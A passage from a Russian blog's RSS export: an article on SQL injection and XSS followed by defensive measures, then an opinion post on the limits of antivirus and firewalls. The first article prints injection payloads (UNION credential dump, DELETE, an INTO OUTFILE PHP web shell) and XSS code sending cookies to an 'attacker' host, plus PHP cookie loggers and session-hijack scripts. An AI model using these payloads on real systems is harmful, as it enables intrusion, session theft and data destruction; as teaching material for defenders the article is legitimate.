<p>На этом примере видно, что после того, как мы дописали к URL дополнительные sql-команды (OR UserName=…), логика запроса изменилась. Отсутствие фильтрации входных параметров &#8211; вот причина, из-за которой появилась возможность воспользоваться SQL Injection! Чтобы этого не произошло, необходимо перед выполнением запроса в сценарии кое-что проверить. В данном случае достаточно просмотреть содержимое одной (это при условии, что остальные переменные нигде не видны, но лучше проверять все) переменной id: в ней не должно быть никаких символов, кроме цифр от 0 до 9.</p>
<p><b>Проблема специальных символов</b></p>
<p>Знатоки языка запросов SQL знают, что с помощью специальных символов можно полностью изменить логику запроса и обойти многие ограничения, которые изначально придумывал программист.</p>
<p><b>1. Одинарные и двойные кавычки</b></p>
<p>Их используют для выделения значений. Предыдущий пример (UserName = &#8216;Администратор&#8217;) как раз об этом. Первое, с чего начинает хакер свое исследование, это попытка вставки одинарной кавычки вместе со значением переменной. Если отсутствует фильтрация на спецсимволы, то взломщик увидит ошибку, сгенерированную сервером БД. В результате он уже точно будет знать, что есть возможность внедрить свой sql-код.</p>
<p>Значит, в своем сценарии надо отключить вывод любых ошибок. Лучше в момент возникновения ошибки вывести свой текст, чем текст, который сгенерирует сервер БД.</p>
<p><b>2. Двойное тире</b></p>
<p>Два тире подряд в SQL означают начало комментария. То есть все, что будет после двух знаков тире, не будет восприниматься как часть запроса. Рассмотрим пример:<br />
<blockquote>SELECT * FROM Users WHERE UserName=root AND Password= переменная</p></blockquote>
<p>Это запрос должен выбрать запись, где поле UserName равно root (как правило, в основном это имя используется для обозначения супер-пользователя), а поле Password равно значению переменной. Имя мы знаем, а пароль, естественно, нет. Но это не повод отчаиваться &#8211; можно умудриться модифицировать запрос до такого вида:<br />
<blockquote>SELECT * FROM Users WHERE UserName=root&#8211;AND Password = переменная</p></blockquote>
<p>В результате, код, который стоит после двух знаков тире (AND Password = переменная), не будет выполнен, и, следовательно, мы успешно проходим данную проверку, зная одно лишь имя пользователя.</p>
<p>В SQL есть еще пара символов, которые обозначают комментарий «/*». Если вдруг оказывается, что знак тире фильтруется, то можно воспользоваться «/*». Принцип действия тот же самый. Весь текст запроса, который стоит после этих символов, не будет выполняться, а значит, можно отбросить лишние проверки и обойти защиту.</p>
<p><b>3. Знак равенства</b></p>
<p>Казалось бы, чем может грозить простой знак равенства (=)? Но при правильном подходе и отсутствии фильтрации этого символа знак равенства превращается в боевое оружие. Пример:<br />
<blockquote>SELECT * FROM Users WHERE id= переменная</p></blockquote>
<p>Взломщик может без проблем в качестве значения переменной подставить «1 OR UserName=Aдмин», и запрос легким движением руки превратится в:<br />
<blockquote>SELECT * FROM Users WHERE id = 1 OR UserName=Админ</p></blockquote>
<p>Результат этого запроса вернет запись, где поле id равно единице или поле UserName равно «Админ». Теперь представь, что было бы, если бы знак равенства всегда отрезался. Запрос уже выглядел бы следующим образом:<br />
<blockquote>SELECT * FROM Users WHERE id = 1 OR UserNameАдмин</p></blockquote>
<p>Этот запрос неверный, поэтому он не будет выполнен сервером БД, а значит, взломщик останется с носом.</p>
<p><b>4. Точка с запятой</b></p>
<p>Знак «;» тоже относится к специальным символам, он используется для разделения запросов между собой. Любой сервер БД может выполнять несколько действий одним запросом, но для этого каждое действие в запросе должно быть отделено друг от друга точкой с запятой. Как этим можно воспользоваться?<br />
<blockquote>SELECT * FROM Users WHERE id = переменная
</p></blockquote>
<p>Теперь, если представить, что в переменную, с которой сравнивается значение поля id, вписывается такое значение:<br />
<blockquote>1; DELETE FROM Users</p></blockquote>
<p>Запрос будет выглядеть следующим образом:<br />
<blockquote>SELECT * FROM Users WHERE id = 1; DELETE FROM Users</p></blockquote>
<p>Сначала сервер выполнит выборку из таблицы Users — запись, в которой значение поля id равно единице. А затем полностью удалит все записи из таблицы Users. Конечно, в реальной ситуации очистить все содержимое таблицы непросто, так как необходимо знать ее имя, а получить имена таблиц бывает непросто&#8230; но возможно.</p>
<p><b>5. Знак плюса</b></p>
<p>Знак плюса в SQL сопоставляется со знаком пробела. Допустим, что воспользоваться обычным символом пробела бывает невозможно (фильтруется), в этом случае можно воспользоваться знаком плюса.<br />
<blockquote>SELECT * FROM Users WHERE id = 1+OR+UserName=Администратор</p></blockquote>
<p>Такой запрос будет абсолютно корректен и успешно выполнится.</p>
<p><b>Специальные операторы</b></p>
<p>В языке SQL есть множество операторов, воспользовавшись которыми, можно получить гораздо больше возможностей, чем при использовании простых специальных символов. </p>
<p><b>1. INSERT</b></p>
<p>Этот оператор используется для вставки новых записей в таблицу. Бывает необходимо сделать себе аккаунт (допустим, на каком-нибудь интересном форуме, где просто так не зарегистрируешься). Тогда, найдя возможность внедрения, можно добавить в запрос этот оператор.<br />
<blockquote>SELECT * FROM Users WHERE UserName=root and Password=123; INSERT INTO Users values (“0”, “spider_net”, “qwerty”)</p></blockquote>
<p>После выполнения такого запроса в таблице UserName добавится новая запись, в которой будут содержаться данные нового пользователя с логином spider_net и паролем qwerty.</p>
<p><b>2. LIKE</b></p>
<p>Оператор LIKE идентичен знаку «=», только используется для сравнения строк. Но многие забывают об одном нюансе, который проще показать на примере:<br />
<blockquote>SELECT * FROM Users WHERE UserName LIKE переманная1 AND Password LIKE переменная2</p></blockquote>
<p>Если для сравнения используется именно LIKE, то достаточно к значению переменной с паролем добавить символ «%». В результате запрос будет выполнен успешно, и если он используется для авторизации пользователей, то мы без проблем сможем залогинится под любым пользователем.<br />
<blockquote>SELECT * FROM Users WHERE UserName LIKE root AND Password LIKE %</p></blockquote>
<p>В SQL знак процента используется для сопоставления с любыми символами. Эта ошибка достаточно распространена, особенно в самописных сценариях. Если ты занимаешься исследованием подобного сценария, то первым делом имеет смысл проверять внедрение именно этого знака.</p>
<p><b>3. UNION</b></p>
<p>Оператор UNION служит для объединения запросов. Если удается внедрить этот оператор в запрос, то открываются безграничные возможности.<br />
<blockquote>SELECT * FROM News WHERE id=1 UNION SELECT Id, UserName, Password FROM Users</p></blockquote>
<p>После выполнения этого запроса помимо текста новости отобразится информация обо всех учетных записях из таблицы UserName.</p>
<p><b>4. OUTFILE</b></p>
<p>С помощью SQL можно получить доступ и к файловой системе.<br />
<blockquote>SELECT ‘Мой текст’ INTO OUTFILE ‘text.txt’</p></blockquote>
<p>Если запрос выполнился успешно, то будет создан файл text.txt с единственной фразой «Мой текст». Конечно, если записать простой текст в файл, то выгоды будет мало. Но что если записать в качестве текста свой сценарий, который будет выполнять какую-нибудь системную функцию&#8230;<br />
<blockquote>SELECT &#8216;&lt;?php system($cmd) ?&gt;&#8217; INTO OUTFILE &#8216;cmd.php&#8217;</p></blockquote>
<p>Запрос создаст php-сценарий, который будет выполнять команду из переменной $cmd.</p>
<p><b>Как ищут место для sql injection</b></p>
<p>Первым делом ищут любые сценарии на сайте. Бывает так, что весь сайт выполнен в виде статичного html, а какой-нибудь один раздел (например, новости) является сценарием. Вот в нем и ищут возможность внедрения SQL Injection. Пробуют подставлять свои SQL-команды к значению переменных, которые передаются сценарию. </p>
<p>Если на атакуемом сайте есть поиск, то его тоже проверяют. На многих сайтах сценарии поиска — самописные, значит, всегда есть шанс, что неопытный программист где-то допустил ошибку.</p>
<p>Форум и гостевые книги – отличное место для поиска уязвимостей. Стоит только узнать название и версию форума и, если он известный, можно попробовать найти уже готовый эксплойт в Сети.</p>
<p><a name="n4"><b>2.3 Межсайтовый скриптинг XSS</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>XSS — (англ. Сross Site Sсriрting) — межсайтовый скриптинг, тип уязвимости компьютерной системы, используется при хакерской атаке. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента. XSS-атака обычно проводится путём конструирования специального URL, который атакующий предъявляет своей жертве. Иногда для термина используют сокращение CSS, но, чтобы не было путаницы с каскадными таблицами стилей, используют сокращение XSS.</p>
<p>Условно, XSS можно разделить на активные и пассивные. При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта. Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например клик по специально сформированной ссылке)</p>
<p><b>Анатомия</b></p>
<p>XSS-атака обычно проводится путем конструирования специального URL, который атакующий подсовывает своей жертве. Можно провести аналогию между XSS-атакой и переполнением буфера, и между встраиванием скрипта и переписыванием EIP. В обоих случаях существуют две возможности для совершения успешной атаки: вставка мусора, либо переход в другую точку. Вставка мусора при переполнении буфера обычно приводит к атаке на отказ в обслуживании. В случае XSS-атаки она позволяет атакующему отобразить произвольную информацию и подавить вывод оригинальной веб-странице. Что касается перехода в другую точку, при переполнении буфера он обычно производится в некоторую область памяти, в которой расположен код, позволяющий захватить контроль над исполнение программы. В случае XSS, атакующий перенаправляет жертву на некоторую веб-страницу (как правило, находящуюся под контролем атакующего), перехватывая текущую сессию.</p>
<p><b>Обнаружение</b></p>
<p>Но каким образом осуществляются XSS-атаки? Они становятся возможными из-за ошибок в серверных приложениях, и корни их &#8211; в пользовательском вводе, который некорректно очищен от HTML-кода. Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением веб-страницы с правами самого сайта. Простейшая страница, уязвимая к подобным атакам, выглядит так:<br />
<blockquote>&lt;?php echo &#8220;Hello, {$HTTP_GET_VARS['name']}!&#8221;; ?&gt;</p></blockquote>
<p>При открытии страницы, переменная name, отправляемая методом GET, выводится непосредственно в ее теле, со всеми метасимволами. Передав в качестве параметра &#8220;Gavin Zuchlinski&#8221;, мы получим корректный вариант отображения:<br />
<center><img src='images/articles/xssanatomy.1.gif' alt='Hello'></center><br />
Передав в параметре HTML-код, можно добиться неожиданного результата:<br />
<center><img src='images/articles/xssanatomy.2.gif' alt='Hello'></center><br />
Ввод не проверяется серверным скриптом перед тем как передать результат броузеру, и это позволяет вставить в уязвимую страницу произвольный пользовательский код. Иногда пользовательский ввод не обрабатывается скриптом непосредственно, а вставляется в файл или базу данных, и после этого забирается оттуда для вставки в страницу. </p>
<p>Традиционным местом для XSS-ошибок являются страницы, выводящие всевозможные подтверждения (например, поисковые скрипты дублируют пользовательский ввод перед результатами поиска), и страницы с сообщениями об ошибках, сообщающие пользователю, что именно он ввел не так. В последнем случае (а иногда и в первом) для атаки часто достаточно закрыть содержимое текстового поля символами &#8220;> &#8211; кавычка закрывает параметр value, а > &#8211; весь тег.</p>
<p><b>Атака</b></p>
<p>После определения уязвимого параметра следует определить подходящий для использования HTTP-метод. Способ, которым пересылаются значения переменных, довольно важен &#8211; посылаются ли данные с помощью GET, POST, или сработает любой из них? Некоторые скрипты предпочитают что-то одно, некоторые, использующие готовые методы доступа к переменным (как в случае PH или Perl-Скриптов с CGI.pm) могут работать с любым из методов. </p>
<p>Вставка с помощью GET самая простая, но и самая &#8220;шумная&#8221;. Чтобы помешать осторожным пользователям обратить внимание на редиректы и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатиричным значением, которому предшествует символ %. Тем не менее, этот метод засоряет адрес и по умолчанию протоколируется большинством веб-серверов. </p>
<p>Простейший способ перехода &#8211; вставка кода на javascript с редиректом страницы. Таким образом можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Более сложные переходы включают другие HTML-теги и объекты. Если код вида<br />
<blockquote>document.location.replace(&#8217;http://attacker/payload&#8217;);</p></blockquote>
<p>может быть вставлен и исполнен, то можно считать, что атакующий контролирует исполнение страницы. Модифицировав этот код:<br />
<blockquote>document.location.replace(&#8217;http://attacker/payload?c=&#8217;+document.cookie);</p></blockquote>
<p>мы добиваемся того, что сервер атакующего получает информацию о cookie жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой:<br />
<blockquote>http://host/hello.php?name=&lt;script&gt;document.location.replace(&#8217;http://attacker/payload?c=&#8217;%2Bdocument.cookie)&lt;/script&gt;</p></blockquote>
<p>По самой природе XSS, атакующий не может непосредственно использовать уязвимый скрипт в личных целях. Встроенный код должна увидеть жертва. Если бы на том же сервере, что и hello.php, была расположена доска объявлений, постинг этой ссылки на нее привел бы множество жертв. После того как жертва открывает ссылку, информация передается на сервер атакующего. Что именно он сможет сделать с данной информацией, мы рассмотрим позже. </p>
<p>Скрипты, уязвимые к POST-вставке, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URL скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы &#8211; заставить клиента отправить POST-запрос, содержащий нужный нам код. В следующем примере создается форма, в которой атакующей сформировал значения переменных, и отправляет от имени пользователя:<br />
<blockquote>
<form name=f method=POST action="http://host/hello.php">
<input type=hidden name="name"<br />
value="&lt;script&gt;document.location.replace<br />
('http://attacker/payload?c='+document.cookie)&lt;/script&gt;"><br />
</form>
<p>&lt;script&gt;f.submit()&lt;/script&gt;</p></blockquote>
<p>После того как жертва откроет промежуточную страницу, она вынудит броузер отправить POST-запрос к hello.php, с переменной name установленной в<br />
<blockquote>&lt;script&gt;document.location.replace(&#8217;http://attacker/payload?c=&#8217;+document.cookie)&lt;/script&gt;</p></blockquote>
<p>Цель атакующего достигнута, наш код передан уязвимой странице. </p>
<p>Вместо вставки кода для перехода, атакующий может решить вставить код, который будет портить уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру код формы для логина, результат работы которой получит атакующий. Этот метод позволяет обойти средства идентификации такие как сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть &#8220;взломанной&#8221;. В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего. </p>
<p><b>Использование</b></p>
<p>После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода броузером жертвы, остается сделать еще один шаг. Страница, на которую перекинуло жертву, должна выполнить некоторые действия. Они могут быть простейшими &#8211; например, вывод рекламы или запись данных, &#8211; или более сложными, например, перехват пользовательской сессии. Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача накрутки &#8211; перехват посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования критичной информации (cookie) для последуюшего ручного использования. Следующий код записывает IP-адрес посетителя, значение Referer и значение cookie, переданной через переменную &#8220;c&#8221;:<br />
<blockquote>&lt;?php<br />
$f = fopen(&#8221;log.txt&#8221;, &#8220;a&#8221;);<br />
fwrite($f, &#8220;IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER<br />
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n&#8221;);<br />
fclose($f);<br />
?&gt;</p></blockquote>
<p>После того как атакующий получил значения cookie, он может извлечь из них полезную информацию, или попытаться перехватить сессию. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои cookie с целью перехвата сессии. Автоматизировав использование украденных cookie, атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы:<br />
<blockquote>&lt;?php<br />
$request = &#8220;GET /secret.php HTTP/1.0\r\n&#8221;;<br />
$request .= &#8220;Cookie: {$HTTP_GET_VARS['c']}\r\n&#8221;;<br />
$request .= &#8220;\r\n&#8221;;<br />
$s = fsockopen(&#8221;host&#8221;, 80, $errno, $errstr, 30);<br />
fputs($s, $request);<br />
$content = &#8221;;<br />
while (!feof($s))<br />
{<br />
$content .= fgets($s, 4096);<br />
}<br />
fclose($s);<br />
echo $content;<br />
?&gt;</p></blockquote>
<p>В этом случае /secret.php передается украденный cookie, после чего результат выводится в броузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для смены почтового адреса пользователя без его ведома:<br />
<blockquote>&lt;?php<br />
$request = &#8220;POST /profile.php HTTP/1.0\r\n&#8221;;<br />
$request .= &#8220;Cookie: {$HTTP_GET_VARS['c']}\r\n&#8221;;<br />
$request .= &#8220;\r\n&#8221;;<br />
$request .= &#8220;email=attacker@hotmail.com&#8221;;<br />
$s = fsockopen(&#8221;host&#8221;, 80, $errno, $errstr, 30);<br />
fputs($s, $request);<br />
fclose($s);<br />
echo &#8220;&lt;script&gt;document.location.replace(&#8217;http://google.com/&#8217;)&lt;/script&gt;&#8221;;<br />
?&gt;
</p></blockquote>
<p>Данный код выполняет полноценную XSS-атаку. Без стороннего скрипта, управляемого атакующим, атака не раскрыла бы весь свой потенциал.</p>
<p><a name="n5"><b>3. Способы защиты</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>Для защиты от приведенных выше атак нужно использовать комплекс мер:</p>
<p>1. Обязательная фильтрация параметров, переданных от пользователя.</p>
<p>2. Экранирование опасных спец-символов в запросе (как встроенными средствами языка программирования, так и написанными собой).</p>
<p>3. Использование метода перебора, который позволяет кроме символов удалять разные управляющие слова и последовательности.</p>
<p>4. Использование типизированных параметров.</p>
<p>5. Четкое разделение прав доступа и, желательно, несколько уровней защиты (например, модули безопасности).</p>
<p>Должно быть разрешено только то, что необходимо, а все остальное нужно запрещать. Например, если пользователь не должен видеть определенные таблицы в базе данных, то учетная запись, под которой выполняются запросы данного пользователя, не должна иметь прав на эти таблицы. Одну единственную защиту обойти достаточно просто, а если используется сразу несколько методов, то сработает другой уровень безопасности.</p>
<p>6. Для защиты от инклюдов нужно использовать заранее определенный список файлов и фиксированные пути.</p>
<p><a name="n6"><b>Заключение</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>После подробного рассмотрения распространенных типов атак становится ясно, что просто написать требуемое приложение недостаточно, нужно еще сделать его безопасным. Иначе содержимое баз данных со всей конфиденциальной информацией становится легкой добычей злоумышленника, а в некоторых случаях уязвимость может быть использована для DdoS’а (DOM XSS).<br />
Однако все эти атаки основаны на ошибке программиста. Таким образом свести атаки на нет можно, если грамотно использовать весь перечень мер, приведенный выше.</p>
<p><a name="n7"><b>СПИСОК ЛИТЕРАТУРЫ</b></a> | <a href="#top"><span class='small'>К содержанию</span></a></p>
<p>1. Статьи журнала Хакер, номер № 75<br />
— «Внутримышечно и внутривенно», стр 30<br />
— «Дефектный замысел / Теория SQL Injection», стр. 6<br />
— «Special опрос», стр. 72</p>
<p>2. Gavin Zuchlinski, перевод &#8211; Дмитрий Леонов: <a rel='nofollow' href='http://bugtraq.ru/library/www/xssanatomy.html' target='_blank'>Анатомия межсайтового скриптинга</a></p>
<p>3. <a rel='nofollow' href='http://ru.wikipedia.org/wiki/Php' target='_blank'>PHP — Википедия</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/28/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Миф: Антивирусы и фаерволы &#8211; 100% защита</title>
		<link>http://shrs.info/archives/14</link>
		<comments>http://shrs.info/archives/14#comments</comments>
		<pubDate>Sat, 04 Oct 2008 12:41:43 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[firewall]]></category>

		<guid isPermaLink="false">http://shrs.info/wordpress/?p=14</guid>
		<description><![CDATA[Суть мифа: достаточно поставить антивирус и фаервол и можно не беспокоиться о безопасности &#8211; вирусы не страшны, трояны и черви сделать ничего не смогут и т.п.

Давно уже хотелось написать эту статью, но вот негде было. Теперь есть и вот пишу.
Скажу, что к выводам, которые будут ниже, пришел сам, своим мозгом. И только в этом семестре [...]]]></description>
			<content:encoded><![CDATA[<p>Суть мифа: достаточно поставить антивирус и фаервол и можно не беспокоиться о безопасности &#8211; вирусы не страшны, трояны и черви сделать ничего не смогут и т.п.<br />
<span id="more-14"></span><br />
Давно уже хотелось написать эту статью, но вот негде было. Теперь есть и вот пишу.</p>
<p>Скажу, что к выводам, которые будут ниже, пришел сам, своим мозгом. И только в этом семестре препод с универа подтвердил мои слова. И я еще больше укрепился в своей позиции к сегодняшним антивирусам и фаерволам.</p>
<p>А теперь конкретнее&#8230;</p>
<p>Доступность современных компьютеров и соответсвенно повсеместная компьютеризация привели к тому, что уровень знаний среднестатистичесного пользователя резко упал. Это давно известный факт, наверное, сейчас даже не я сформулировал предыдущее предложение, а моя память выдала кусок какого-то текста. Но это не важно&#8230;</p>
<p>Что такое антивирус уже знают большинство. Но вот беда &#8211; знать, что такое знают, а не принимают на веру лозунги антивирусных компаний единицы.</p>
<p>Каждая компания уверяет, что ее продукт лучше, потому что быстрее, умнее, ест меньше ресурсов и т.д.</p>
<p>Но вот после того, как антивирусы раз за разом не могут помочь в борьбе с вирусами и прочими &#8220;прелестями&#8221;, в мозгу все отчетливее проявляется мысль, что тебя обманывают. Даже больше &#8211; что полезность антивирусов совсем не такая, как она представляется СМИ и самими компаниями-разработчиками.</p>
<p>Обосную свою точку зрения.</p>
<p>Антивирус &#8211; это программа, целью которой является найти и убить существующие вирусы и другую гадость, плюс не дать заразиться новыми. Первую задачу решают <strong>сканеры</strong> (проверка, ручная или по расписанию); вторую <strong>резиденты</strong> (или мониторы, находятся в памяти и следят за другими процессами).</p>
<p><strong>Недостатки сканеров</strong> &#8211; требуют много времени, плюс нужно следить и запускать периодически сканирование. Последний недостаток решают резиденты &#8211; они сами проверяют все &#8220;на лету&#8221;, но и у них есть свои минусы.</p>
<p><strong>Самый главный недостаток антивирусов вообще</strong> &#8211; это то, что они основаны на <strong>простом сравнении</strong>: чтобы узнать, чиста программа или она вирус, ее сравнивают с сигнатурами из баз. Отсюда простой вывод &#8211; <strong>антивирус может уберечь или вылечить только от относительно старого вируса</strong>, сигнатура которого есть в его базе. И так оно и есть &#8211; это подтверждается на практике. Кроме того, вирусописателям не обязательно придумывать новый вирус, если сигнатура на него появилась в антивирусных базах &#8211; достаточно применить шифрование и старые сигнатуры не будут эффективны против такой модофикации вируса.</p>
<p>Возвращаясь к резидентам: теперь представим в общих чертах, как они работают. Это программа, которая запускается с системой и постоянно работает. Открываете вы что-то с диска (файл или программу) или другой процесс в памяти что-то читает\пишет на диск или обращается к устройству &#8211; за всем этим смотрит резидент.</p>
<p>Получается, что немало времени и ресурсов вашего компьютера занято постоянной проверкой резидентом всего и вся на зловредность.</p>
<p>Более того, резиденты делают это постоянно &#8211; если вы запускали Проводник в 10-00, закрыли в 10-01, а потом через 3 минуты снова открыли его, то <strong>резидент снова проверит ранее проверенную программу</strong>.</p>
<p>Вспомните, что проверка основана на все тех же сигнатурах и поймете, что резидент большую часть времени &#8220;молотит вхолостую&#8221;.</p>
<p>Кроме сравнения с сигнатурами, антивирусы применяют другой механизм &#8211; проактивную защиту. Суть ее состоит в том, что отслеживаются действия всех программ. Если эти действия носят подозрительный характер, программа информирует пользователя, и решение принимает он сам. Яркий пример применения &#8211; Kaspersky Antivirus, Outpost Firewall Pro.</p>
<p>Недостаток состоит в том, что эти постоянные вопросы о том, что делать, надоедают и пользователь может перестать на них реагировать.</p>
<p>Есть еще эмуляция, когда программу как бы запускают в изолированной &#8220;песочнице&#8221; и смотрят, не будет ли она себя плохо вести <img src='http://shrs.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Наверное, вы уже давно спрашиваете про себя: &#8220;А как же эвристический анализ, которым так хвалятся антивирусные компании?&#8221;</p>
<p>Для тех, кто еще не знает, приведу <a rel="nofollow" href="http://ru.wikipedia.org/wiki/Эвристическое_сканирование" target="_blank">цитату из Вики</a>:</p>
<blockquote><p>Эвристическое сканирование — метод работы антивирусной программы, основанный на сигнатурах и эвристике, призван улучшить способность сканеров применять сигнатуры и распознавать модифицированные версии вирусов в тех случаях, когда сигнатура совпадает с телом неизвестной программы не на 100 %, но в подозрительной программе налицо более общие признаки вируса. Данная технология, однако, применяется в современных программах очень осторожно, так как может повысить количество ложных срабатываний.</p>
<p>Пример технологии эвристического сканирования — Bloodhound — применяется компанией Symantec в продукте Norton Antivirus. Эвристика призвана сделать сигнатуры более гибкими, полное совпадение не обязательно. В качестве одной из многочисленных возможных «подсказок» могут рассматриваться даже такие простые признаки, как наличие в подозрительном файле слова virus. [1]</p></blockquote>
<p>Но все эти методы не помогают, когда к тебе попадает новый вирус&#8230; Или если на комрьютере уже есть какой-то достаточно продвинутый экземпляр.</p>
<p>Я встречал вирусы, которые не давали просматривать список процессов и скрытые файлы =) И который упорно не умирал, хотя антивирус говорил, что в памяти все чисто&#8230;</p>
<p>Таким образом еще 1 вывод: в противоборстве антивируса против вируса выигрывает тот, кто запускается раньше. Это очевидно.</p>
<p>Но и это еще ничего. Допустим, антивирус уже стоит. Но и тут вирус может его обойти.</p>
<p>Дальше пересказ слов препода, за что ему спасибо =) Называть не буду, думаю, он не обидится.</p>
<p>Ахилесова пята современных средств персональной защиты &#8211; антивирусов и фаерволов &#8211; это то, что они запускаются и работают вне ядра операционной системы. Это такие же программы, как и другие. Точно такие же права имеют и программы, запускаемые от имени пользователя. А т.к. большинство из них работает под учетной записью администратора, то вирус или другой зловред может делать тоже, что и пользователь. Отключить антивирус \ фаервол, например.</p>
<p>А что? Простое применение WinAPI &#8211; найти окошко фаервола, эмулировать вызов меню, с помошью простых математических вычислений найти, где будет пункт &#8220;Выключить&#8221; и эмулировать нажатие.</p>
<p>Причем сделать это можно так хитро, что пользователь ничего не замутит, даже если он прямо в это самое время делал что-то за комьютером. Хитрость состоит в том, что экран &#8211; это не только то, что видно на мониторе. Например новички в Delphi вместо правильного скрытия формы через Hide, делают скрытие за счет выставления координат, которые находятся вне видимой части экрана =)</p>
<p>Точно также зловред может извернуться и меню будет открываться там, где его пользователь не будет видеть&#8230;</p>
<p>Именно поэтому антивирусы и фаерволы в последнее время так часто спрашивают &#8220;Вы уверены?&#8221;, &#8220;Точно выйти?&#8221; и т.д. =) Помогает функция выброса сообщения в центр именно видимой области, которую весьма трудно обойти.</p>
<p>Поэтому будущие антивирусы будут встраиваться в ОС, чтобы их нельзя было так просто выключить. Кстати вспомнил любопытный и забавный пример, который привел препод: Microsoft как-то разработало свой антивирус, который встроила в свою ОС, но вроде Norton отсудила у MS &#8220;право пользователя быть не защищенным&#8221; =)</p>
<p>Таким образом я и препод скептически относимся к антивирусам и фаерволам. И самая лучшая защита &#8211; это свой мозг, свои руки и осторожность + внимательность.</p>
<p>Это не значит, что нужно сносить антивирус \ фаервол, которые сейчас стоят на вашем компьютере. Нет.</p>
<p>Статья написана, чтобы показать тому, кто этого не знал, что никакой сверхустойчивой защиты антивирусы \ фаерволы в сегодняшнем их состоянии не дают.</p>
<p>Т.е. только вы сами можете обезопасить себя&#8230;</p>
<p>Домохозяйкам &#8211; да, лучше пока ничего предложить нельзя, чем резидентный антивирус + фаервол.</p>
<blockquote><p><strong>Но грамотный человек может без опаски не использовать резидент-антивирус, ведь небольшой системы правил достаточно</strong>:</p>
<p><strong>0.</strong> 100% защиты построить нельзя, поэтому нужно быть готовым к тому, что ОС и данные могут пасть под атакой вируса или другой нечисти, поэтому <strong>рекомендуется делать резервные копии ОС и данных</strong>. Как вариант, можно попробовать вылечить файлы у друга или на 2м компьютере &#8211; принести винт, но НЕ грузиться с него, а работать с ним в режиме &#8220;ведомого (раба, секондари)&#8221;.</p>
<p><strong>1.</strong> В 95% случаев работает принцип замкнутой системы &#8211; если в системе нет зловредов и все, что приходит извне, проверяется свежим антивирусом, то зараза не пройдет. Это же можно отнести и к сети &#8211; если все пакеты извне фильтруются фаерволом актуальной версии. 5% (цифра условна) &#8211; что вам попадется то, чего не смогут детектировать средства защиты &#8211; тут 100% выручит пункт 0, иногда прямые ваши руки =)</p>
<p><strong>2.</strong> Всегда под рукой должны быть средства, которыми можно обнаружить большинство видов заразы &#8211; это пакет утилит от <a rel="nofollow" href="http://www.sysinternals.com/" target="_blank">Марка Руссиновича / sysinternals.com</a>. Также нужно видеть скрытые файлы и расширения всех файлов =) Почему &#8211; объяснять не буду, не маленькие.</p>
<p><strong>3.</strong> Любой исполняемый файл, пришедший <strong>&#8220;извне&#8221;</strong>, проверяется антивирусом с последними базами (это желательно, но все относительно &#8211; даже в последних базах могут отсутствовать нужные сигнатуры). Под исполняемым понимается не только exe, com, bat, cmd и т.д. Поясню &#8211; почитайте об уязвимостях в обработке jpg, wmv.</p>
<p><strong>4.</strong> После запуска, а желательно и работы, нужно проверять Process Explorerom (sysinternals) и другими утилитами, не появилось ли чего лишнего в памяти \ автозагрузке и т.д.</p>
<p><strong>5.</strong> Если проверка антивирусом и &#8220;руками&#8221; через спец. софт прошла успешно, то имя программы \ путь к ней запоминается, чтобы потом не останавливаться долго на ней при следующей проверке.</p></blockquote>
<p>Эту систему я выработал за 6 лет и у меня она уже работает на уровне рефлексов &#8211; я все шаги выполняю на полуавтомате.</p>
<p>И в заключение, чтобы не быть голословным, <strong>приведу факты</strong>, которые послужиили предпосылкой либо подтверждением моей позиции:</p>
<p><strong>0.</strong> 2004 г. &#8211; заражение одним вирусом компьютеров моего и друга, мой антивирус вылечил большинство файлов, его &#8211; удалил. Именно тогда я задумался над тем, что <strong>эффективность антивируса относительна: ведь могло повезти и не мне</strong>.</p>
<p><strong>1.</strong> 2005 г. &#8211; взлом на моих глазах тогдашней версии Outpost, я бы так и не был уверен, что это удачный взлом, если б через какое-то время (вроде год, но врать не буду) ко мне не приехали следователи писать заявление, что я пострадал незначительно от действий хакера и на суд не явлюсь.</p>
<p><strong>2.</strong> 2007 г. у брата, а потом и тети лечил компьютеры от вирусов. Вылечил только у тети, потому что у брата загрузочного носителя не оказалось, но промучился я тогда весь день. Полностью утвердился в своем мнении, что из борьбы вируса и антивируса победителем выйдет тот, кто запустился первее.</p>
